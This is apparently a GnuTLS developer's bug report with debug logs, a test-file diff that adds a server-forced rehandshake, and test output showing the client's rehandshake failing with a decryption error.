|<7>| 0005 - 4f 27 a3 31 25 11 41 24 6c 9d dd e3 e4 63 da ca 
|<7>| 0006 - c7 84 f7 d2 e9 d5 3e fa 2d 71 14 fa 4a fd 01 78 
|<7>| 0007 - 48 d1 58 39 89 e9 58 c7 92 d8 fe 98 78 ee 30 0f 
|<7>| 0008 - f6 b2 20 e6 e6 4b f2 c7 f1 47 29 
|<4>| REC[0x1a7f3f0]: Sent Packet[2] Handshake(22) with length: 139
|<3>| REC[0x1a7f3f0]: Sent ChangeCipherSpec
|<4>| REC[0x1a7f3f0]: Sending Packet[2] Change Cipher Spec(20) with length: 1
|<2>| ASSERT: gnutls_cipher.c:204
|<7>| WRITE: Will write 6 bytes to 0x4.
|<7>| WRITE: wrote 6 bytes to 0x4. Left 0 bytes. Total 6 bytes.
|<7>| 0000 - 14 03 01 00 01 01 
|<4>| REC[0x1a7f3f0]: Sent Packet[3] Change Cipher Spec(20) with length: 6
|<9>| INT: PREMASTER SECRET[128]: ad5b4dcc554166127f6ed0774508a9895c173a4ff7b32f5f4420ebafbafdfbc54d4cf91da109517384e43f2583ac0733c3771b6f6abf9739ca79ea6fed83a8f8f68b1881608d962507bc970986be0671239749283fb2dc1d703b4b469cb8cf0adcc855e289f588aa9f1996fb0e35e82666ff0e0484e81de5b3abb2342cd87738
|<9>| INT: CLIENT RANDOM[32]: 492fffa3b5c17514542496737ccba3d0e5fe1328b9ed7e7a6d851be533bd69ac
|<9>| INT: SERVER RANDOM[32]: 492fffa345b76dbe9429c29efa89305b0de02e82ed49801f1a3cf3a7d59b9dd7
|<9>| INT: MASTER SECRET: dc9df9bc5622829bd321ffbc08e646b14472c80c365615e35c24d74082ef6b2d0a35885d8bee7b64713c01cbd16acdd8
|<9>| INT: KEY BLOCK[104]: ee560f34974df91ba849d166c688ba95ea4287cf7402c083cc7570e0d377058e
|<9>| INT: CLIENT WRITE KEY [16]: aa6380640d573eec02bdb4b2a8b11d29
|<9>| INT: SERVER WRITE KEY [16]: 467acf0753496c8cb5e700f1071a3633
|<3>| HSK[0x1a7f3f0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Initializing internal [write] cipher sessions
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<3>| HSK[0x1a7f3f0]: FINISHED was send [16 bytes]
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<4>| REC[0x1a7f3f0]: Sending Packet[0] Handshake(22) with length: 16
|<7>| WRITE: Will write 181 bytes to 0x4.
|<7>| WRITE: wrote 181 bytes to 0x4. Left 0 bytes. Total 181 bytes.
|<7>| 0000 - 16 03 01 00 b0 98 4d db bd bc 2f ff ff b7 b5 4e 
|<7>| 0001 - 7b 0b 79 ac 0e 5b ae 78 2f bd 1d c6 ad 10 7b 7d 
|<7>| 0002 - 71 0d 15 19 7e fa 2e f6 74 3e 48 3f 4a e2 23 c6 
|<7>| 0003 - 55 12 77 50 88 1c 3a ef 7c 90 00 c3 d1 da 23 2d 
|<7>| 0004 - 99 1f 8f 33 5d ab 3e 4d c3 6e ad cf 1a 53 bb cb 
|<7>| 0005 - 15 75 02 39 e9 6f 19 0f 3f 40 ff cd 58 b7 47 9b 
|<7>| 0006 - b5 1a 52 02 c1 1b 52 6f 64 ad 38 45 9c ab 8f 3b 
|<7>| 0007 - 25 27 f7 72 c4 70 dd ce e5 46 40 fa a2 37 76 60 
|<7>| 0008 - 65 46 cb 8a 84 b6 73 ea 51 f9 78 f1 7b 98 d1 d9 
|<7>| 0009 - d6 00 60 ef 25 05 de 86 56 20 7f 08 e3 1e 5a 72 
|<7>| 000a - 62 bb 0d ee 62 33 c0 a8 d8 3c c9 ae a7 d7 51 9c 
|<7>| 000b - b0 60 7d c8 0a 
|<4>| REC[0x1a7f3f0]: Sent Packet[1] Handshake(22) with length: 181
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 14 03 01 00 01 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[4] Change Cipher Spec(20) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[4] Change Cipher Spec(20) with length: 1
|<7>| READ: Got 1 bytes from 0x4
|<7>| READ: read 1 bytes from 0x4
|<7>| 0000 - 01 
|<7>| RB: Have 5 bytes into buffer. Adding 1 bytes.
|<7>| RB: Requested 6 bytes
|<2>| ASSERT: gnutls_cipher.c:204
|<4>| REC[0x1a7f3f0]: ChangeCipherSpec Packet was received
|<3>| HSK[0x1a7f3f0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Initializing internal [read] cipher sessions
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 00 30 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[0] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[0] Handshake(22) with length: 48
|<7>| READ: Got 48 bytes from 0x4
|<7>| READ: read 48 bytes from 0x4
|<7>| 0000 - 14 66 39 d1 76 a0 e9 b5 89 5d 7d 1e 75 0d 2b fa 
|<7>| 0001 - b0 34 74 6e 06 00 65 24 3d 59 20 25 51 45 bc 1c 
|<7>| 0002 - bd 84 82 ae 61 50 3f ae c4 e3 18 13 dd 7b 08 73 
|<7>| 0003 - 
|<7>| RB: Have 5 bytes into buffer. Adding 48 bytes.
|<7>| RB: Requested 53 bytes
|<4>| REC[0x1a7f3f0]: Decrypted Packet[0] Handshake(22) with length: 16
|<6>| BUF[HSK]: Inserted 16 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
|<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
|<3>| HSK[0x1a7f3f0]: FINISHED was received [16 bytes]
|<6>| BUF[REC][HD]: Read 12 bytes of Data(22)
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<6>| BUF[HSK]: Inserted 4 bytes of Data
|<6>| BUF[HSK]: Inserted 12 bytes of Data
|<6>| BUF[HSK]: Cleared Data from buffer
|<2>| ASSERT: ext_server_name.c:257
|<2>| ASSERT: verify.c:237
|<2>| ASSERT: verify.c:393
|<4>| REC[0x1a7f3f0]: Sending Packet[1] Application Data(23) with length: 21
|<7>| WRITE: Will write 101 bytes to 0x4.
|<7>| WRITE: wrote 101 bytes to 0x4. Left 0 bytes. Total 101 bytes.
|<7>| 0000 - 17 03 01 00 60 94 f8 fc 86 50 0c d3 ef 7d 02 4d 
|<7>| 0001 - 8e 8b ec b6 cf 6f 10 01 94 ce 61 f8 f3 ea 8b fc 
|<7>| 0002 - a6 3d de c5 b4 45 47 73 3b af ed c8 d1 c7 88 83 
|<7>| 0003 - 52 56 54 c4 95 4f 65 74 cf b1 5e 10 0d d7 2a 27 
|<7>| 0004 - 99 63 cb 10 32 95 bc 13 41 64 1a 17 20 3d fd 50 
|<7>| 0005 - bc 98 51 c8 97 78 67 ee d7 22 e4 d5 05 1d de a3 
|<7>| 0006 - 98 cd 9f cd 4e 
|<4>| REC[0x1a7f3f0]: Sent Packet[2] Application Data(23) with length: 101
|<4>| REC[0x1a7f3f0]: Sending Packet[2] Application Data(23) with length: 16
|<7>| WRITE: Will write 69 bytes to 0x4.
|<7>| WRITE: wrote 69 bytes to 0x4. Left 0 bytes. Total 69 bytes.
|<7>| 0000 - 17 03 01 00 40 ef fc a4 88 37 8a 7a b5 80 a1 b7 
|<7>| 0001 - d0 4d 11 56 f7 9a 67 39 43 a4 94 86 7b e4 35 75 
|<7>| 0002 - ca 0f 39 07 24 76 c0 fc 9c bb 8f 27 3d 3e 75 2f 
|<7>| 0003 - 5a 85 25 38 f9 a3 51 39 3d 9e 18 b5 26 52 9b 43 
|<7>| 0004 - e7 43 a0 42 24 
|<4>| REC[0x1a7f3f0]: Sent Packet[3] Application Data(23) with length: 69
|<4>| REC[0x1a7f3f0]: Sending Packet[3] Application Data(23) with length: 1
|<7>| WRITE: Will write 245 bytes to 0x4.
|<7>| WRITE: wrote 245 bytes to 0x4. Left 0 bytes. Total 245 bytes.
|<7>| 0000 - 17 03 01 00 f0 4e 98 84 fd ee a2 36 4d c4 ab da 
|<7>| 0001 - 6f 13 11 90 f6 cb 0a 2b b0 08 42 ae 79 ed 76 a7 
|<7>| 0002 - 29 21 1f bc ff 78 87 f4 6b de 9d ea 9b 0f d4 c2 
|<7>| 0003 - d5 56 ac b3 70 34 17 13 91 e1 2b b6 08 5a 44 7b 
|<7>| 0004 - 6a 1e 05 aa b7 6c 15 66 50 f6 41 63 3e 3d cc 5f 
|<7>| 0005 - cc 3e 2b f3 7d a0 78 7c 93 4c 5b e6 b9 31 72 f9 
|<7>| 0006 - 1a c7 fc 4d 95 60 71 1e aa 12 63 16 39 44 1a 96 
|<7>| 0007 - 8c 24 79 0c 3a 1f 60 c2 09 71 4a a5 56 f1 09 8c 
|<7>| 0008 - 06 1a b2 34 e2 60 8d 3e e9 ba d9 73 e4 0e 5e 79 
|<7>| 0009 - 3d b5 18 0f 30 f3 76 56 b1 d5 7c 5f 20 35 a8 1b 
|<7>| 000a - 13 ed 8b aa 76 3c d7 8b 24 36 b3 78 68 bd bf 73 
|<7>| 000b - 34 30 c5 2a f1 47 3b e6 1a 09 ee 4d 2a 3b 81 a7 
|<7>| 000c - 77 36 1e 71 39 11 7f e5 aa 53 a2 1e ff 4b 03 7c 
|<7>| 000d - e1 85 56 50 f6 79 ec 2b 36 75 9d 62 26 d6 10 22 
|<7>| 000e - 27 3c 07 9d 9a 15 be bd 6d 2c 73 af 49 fb 93 48 
|<7>| 000f - 79 5c 74 e5 9a 
|<4>| REC[0x1a7f3f0]: Sent Packet[4] Application Data(23) with length: 245
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 16 03 01 00 20 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[1] Application Data(23) with length: 4096
|<4>| REC[0x1a7f3f0]: Received Packet[1] Handshake(22) with length: 32
|<7>| READ: Got 32 bytes from 0x4
|<7>| READ: read 32 bytes from 0x4
|<7>| 0000 - 79 58 5e 0d a9 69 5e 0c 9f ea e2 a5 51 b8 7d 7a 
|<7>| 0001 - 47 45 f0 2b a9 0c 5e 55 10 31 73 9f ed 7e ae 8b 
|<7>| 0002 - 
|<7>| RB: Have 5 bytes into buffer. Adding 32 bytes.
|<7>| RB: Requested 37 bytes
|<4>| REC[0x1a7f3f0]: Decrypted Packet[1] Handshake(22) with length: 4
|<2>| ASSERT: gnutls_record.c:1048
*** Non fatal error: Rehandshake was requested by the peer.
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: RSA_ARCFOUR_MD5
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Keeping ciphersuite: PSK_SHA_ARCFOUR_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1
|<3>| HSK[0x1a7f3f0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1
|<2>| EXT[0x1a7f3f0]: Sending extension CERT_TYPE
|<2>| EXT[0x1a7f3f0]: Sending extension SERVER_NAME
|<3>| HSK[0x1a7f3f0]: CLIENT HELLO was send [110 bytes]
|<6>| BUF[HSK]: Peeked 0 bytes of Data
|<6>| BUF[HSK]: Emptied buffer
|<4>| REC[0x1a7f3f0]: Sending Packet[4] Handshake(22) with length: 110
|<7>| WRITE: Will write 261 bytes to 0x4.
|<7>| WRITE: wrote 261 bytes to 0x4. Left 0 bytes. Total 261 bytes.
|<7>| 0000 - 16 03 02 01 00 0f b0 1b 6c 7b 1c 5b 26 d6 30 f2 
|<7>| 0001 - ff 0b 5f ba 8b 3f 7e 38 9a 3b a1 0d 89 a7 6f f2 
|<7>| 0002 - 22 53 a3 b3 46 4e cb 48 47 86 eb a6 b8 d9 c9 bc 
|<7>| 0003 - 64 9d b9 e0 c1 dd de 35 16 96 6a 9c c8 cc 2a 1b 
|<7>| 0004 - ef dd dd 61 92 27 0b 74 57 fe b9 ac f9 dd c5 f5 
|<7>| 0005 - 52 06 74 31 7e 0a b9 60 66 bc 6b 40 18 72 8a 6c 
|<7>| 0006 - 62 5f a2 dc de cd 94 66 99 44 a1 c1 06 36 bf a9 
|<7>| 0007 - 7e 4d e5 5d 93 4f 49 4c 84 96 ab b9 00 df d7 3c 
|<7>| 0008 - f1 36 39 9d e0 46 d9 fa ed fc f9 89 53 6c 16 d2 
|<7>| 0009 - bd 91 35 6b 58 6a 2c 19 53 3e 98 43 a9 ee da f5 
|<7>| 000a - 98 79 58 6d 8f 72 25 ee b0 ff 72 b2 ee 5e ef 57 
|<7>| 000b - bb e3 a3 a5 ec e1 34 55 a5 d6 7c 77 a8 37 ab 97 
|<7>| 000c - 5e 69 ce 48 58 09 4c 35 6b a9 cb 8e 04 e3 07 f1 
|<7>| 000d - ab 40 ae 6e ae d8 67 06 43 f8 99 06 e6 ea 21 9d 
|<7>| 000e - af 90 09 a6 23 b3 75 21 dc c1 f8 b3 c6 c3 85 c0 
|<7>| 000f - c6 b5 a1 1c be 00 1e ef 55 0f e4 42 0a 9a f0 06 
|<7>| 0010 - f2 94 3d 11 c0 
|<4>| REC[0x1a7f3f0]: Sent Packet[5] Handshake(22) with length: 261
|<7>| READ: Got 5 bytes from 0x4
|<7>| READ: read 5 bytes from 0x4
|<7>| 0000 - 15 03 01 00 20 
|<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
|<7>| RB: Requested 5 bytes
|<4>| REC[0x1a7f3f0]: Expected Packet[2] Handshake(22) with length: 1
|<4>| REC[0x1a7f3f0]: Received Packet[2] Alert(21) with length: 32
|<7>| READ: Got 32 bytes from 0x4
|<7>| READ: read 32 bytes from 0x4
|<7>| 0000 - 78 a3 6b a4 e7 16 c2 d4 6e 9f e6 c1 a1 a6 9b 89 
|<7>| 0001 - 1d 7e ce d5 13 1e f5 5c 04 46 b6 bb 64 30 c1 76 
|<7>| 0002 - 
|<7>| RB: Have 5 bytes into buffer. Adding 32 bytes.
|<7>| RB: Requested 37 bytes
|<2>| ASSERT: gnutls_cipher.c:516
|<4>| REC[0x1a7f3f0]: Short record length 10 > 16 - 20 (under attack?)
|<2>| ASSERT: gnutls_record.c:1002
|<2>| ASSERT: gnutls_buffers.c:1030
|<2>| ASSERT: gnutls_handshake.c:1045
|<2>| ASSERT: gnutls_handshake.c:2346
|<6>| BUF[HSK]: Cleared Data from buffer
*** Fatal error: Decryption has failed.
|<2>| ASSERT: gnutls_record.c:879
*** Fatal error: The specified session has been invalidated for some reason.
*** Server has terminated the connection abnormally.
random usage: poolsize=600 mixed=28 polls=25/68 added=368/14980
              outmix=3 getlvl1=3/137 getlvl2=0/0
-------------- next part --------------
diff --git a/tests/x509self.c b/tests/x509self.c
index fd95190..180bfd7 100644
--- a/tests/x509self.c
+++ b/tests/x509self.c
@@ -166,9 +166,38 @@ client (void)
   /* see the Getting peer's information example */
   print_info (session);
 
-  gnutls_record_send (session, MSG, strlen (MSG));
+  ret = gnutls_record_send (session, MSG, strlen (MSG));
+  
+  if (ret == strlen(MSG))
+    {
+      success ("client: sent record.\n");
+    }
+  else 
+    {
+      fail ("client: failed to send record.\n");
+      gnutls_perror(ret);
+      goto end;
+    }
 
   ret = gnutls_record_recv (session, buffer, MAX_BUF);
+
+  success ("client: recv returned %d.\n", ret);
+
+  if (ret == GNUTLS_E_REHANDSHAKE)
+    {
+      success ("client: doing handshake!\n");
+      ret = gnutls_handshake (session);
+      if (ret == 0) 
+        {
+          success ("client: handshake complete, reading again.\n");
+          ret = gnutls_record_recv (session, buffer, MAX_BUF);
+        }
+      else
+        {
+          fail ("client: handshake failed.\n");
+        }
+  }
+
   if (ret == 0)
     {
       success ("client: Peer has closed the TLS connection\n");
@@ -227,7 +256,7 @@ initialize_tls_session (void)
 
   /* request client certificate if any.
    */
-  gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST);
+//  gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST);
 
   gnutls_dh_set_prime_bits (session, DH_BITS);
 
@@ -408,6 +437,20 @@ server (void)
 	}
       else if (ret > 0)
 	{
+          gnutls_certificate_server_set_request (session, GNUTLS_CERT_REQUEST);
+
+          success ("server: got data, forcing rehandshake.\n");
+
+          ret = gnutls_rehandshake(session);
+          if (ret < 0) 
+            {
+              fail ("server: rehandshake failed\n");
+              gnutls_perror(ret);
+              break;
+            }
+            
+          success ("server: rehandshake complete.\n");
+
 	  /* echo data back to the client
 	   */
 	  gnutls_record_send (session, buffer, strlen (buffer));
-------------- next part --------------
server: ready. Listening to port '5556'.
client: Handshake was completed
client: TLS version is: TLS1.1
- Key Exchange: DHE-RSA

- Ephemeral DH using prime of 1032 bits
Peer provided 1 certificates.
Certificate info:
	Certificate is valid since: Wed Apr 18 14:29:21 2007
	Certificate expires: Thu Apr 17 14:29:21 2008
	Certificate serial number: 46261d31 
Certificate public key: RSA	Certificate version: #3
	DN: O=GnuTLS test server,CN=test.gnutls.org
	Issuer's DN: CN=GnuTLS test CA
- Protocol: TLS1.1
- Certificate Type: X.509
- Compression: NULL
- Cipher: AES-128-CBC
- MAC: SHA1
client: sent record.
client: recv returned -37.
client: doing handshake!
Self test `./x509self' finished with 2 errors
server: ready. Listening to port '5556'.
Launched, generating DH parameters...
server: connection from 127.0.0.1, port 42192
server: Handshake was completed
server: TLS version is: TLS1.1
- Key Exchange: DHE-RSA

- Ephemeral DH using prime of 1032 bits
Peer provided 0 certificates.
- Protocol: TLS1.1
- Certificate Type: X.509
- Compression: NULL
- Cipher: AES-128-CBC
- MAC: SHA1
server: got data, forcing rehandshake.
server: rehandshake complete.
server: finished
Self test `./x509self' finished with 1 errors
-------------- next part --------------
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_MD5
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1
client |<2>| EXT[0x11a0ed0]: Sending extension CERT_TYPE
client |<3>| HSK[0x11a0ed0]: CLIENT HELLO was send [76 bytes]
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<4>| REC[0x11a0ed0]: Sending Packet[0] Handshake(22) with length: 76
client |<2>| ASSERT: gnutls_cipher.c:204
client |<7>| WRITE: Will write 81 bytes to 0x5.
client |<7>| WRITE: wrote 81 bytes to 0x5. Left 0 bytes. Total 81 bytes.
client |<7>| 0000 - 16 03 02 00 4c 01 00 00 48 03 02 49 30 03 f0 7c 
client |<7>| 0001 - b0 a9 6f f6 f6 4d 34 a0 77 5a 8f e1 6e 82 07 e1 
client |<7>| 0002 - d4 99 37 90 94 be 7d 54 a4 d6 53 00 00 18 00 33 
client |<7>| 0003 - 00 39 00 16 00 32 00 38 00 13 00 66 00 2f 00 35 
client |<7>| 0004 - 00 0a 00 05 00 04 01 00 00 07 00 09 00 03 02 00 
client |<7>| 0005 - 01 
client |<4>| REC[0x11a0ed0]: Sent Packet[1] Handshake(22) with length: 81
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytes from 0x5
server |<7>| 0000 - 16 03 02 00 4c 
server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
server |<7>| RB: Requested 5 bytes
server |<4>| REC[0x11a3a20]: Expected Packet[0] Handshake(22) with length: 1
server |<4>| REC[0x11a3a20]: Received Packet[0] Handshake(22) with length: 76
server |<7>| READ: Got 76 bytes from 0x5
server |<7>| READ: read 76 bytes from 0x5
server |<7>| 0000 - 01 00 00 48 03 02 49 30 03 f0 7c b0 a9 6f f6 f6 
server |<7>| 0001 - 4d 34 a0 77 5a 8f e1 6e 82 07 e1 d4 99 37 90 94 
server |<7>| 0002 - be 7d 54 a4 d6 53 00 00 18 00 33 00 39 00 16 00 
server |<7>| 0003 - 32 00 38 00 13 00 66 00 2f 00 35 00 0a 00 05 00 
server |<7>| 0004 - 04 01 00 00 07 00 09 00 03 02 00 01 
server |<7>| RB: Have 5 bytes into buffer. Adding 76 bytes.
server |<7>| RB: Requested 81 bytes
server |<2>| ASSERT: gnutls_cipher.c:204
server |<4>| REC[0x11a3a20]: Decrypted Packet[0] Handshake(22) with length: 76
server |<6>| BUF[HSK]: Inserted 76 bytes of Data(22)
server |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
server |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
server |<3>| HSK[0x11a3a20]: CLIENT HELLO was received [76 bytes]
server |<6>| BUF[REC][HD]: Read 72 bytes of Data(22)
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<6>| BUF[HSK]: Inserted 4 bytes of Data
server |<6>| BUF[HSK]: Inserted 72 bytes of Data
server |<3>| HSK[0x11a3a20]: Client's version: 3.2
server |<2>| ASSERT: gnutls_db.c:238
server |<2>| EXT[0x11a3a20]: Received extension 'CERT_TYPE/9'
server |<2>| EXT[0x11a3a20]: Received extension 'CERT_TYPE/9'
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_ARCFOUR_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Removing ciphersuite: DHE_DSS_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1
server |<3>| HSK[0x11a3a20]: Keeping ciphersuite: RSA_ARCFOUR_SHA1
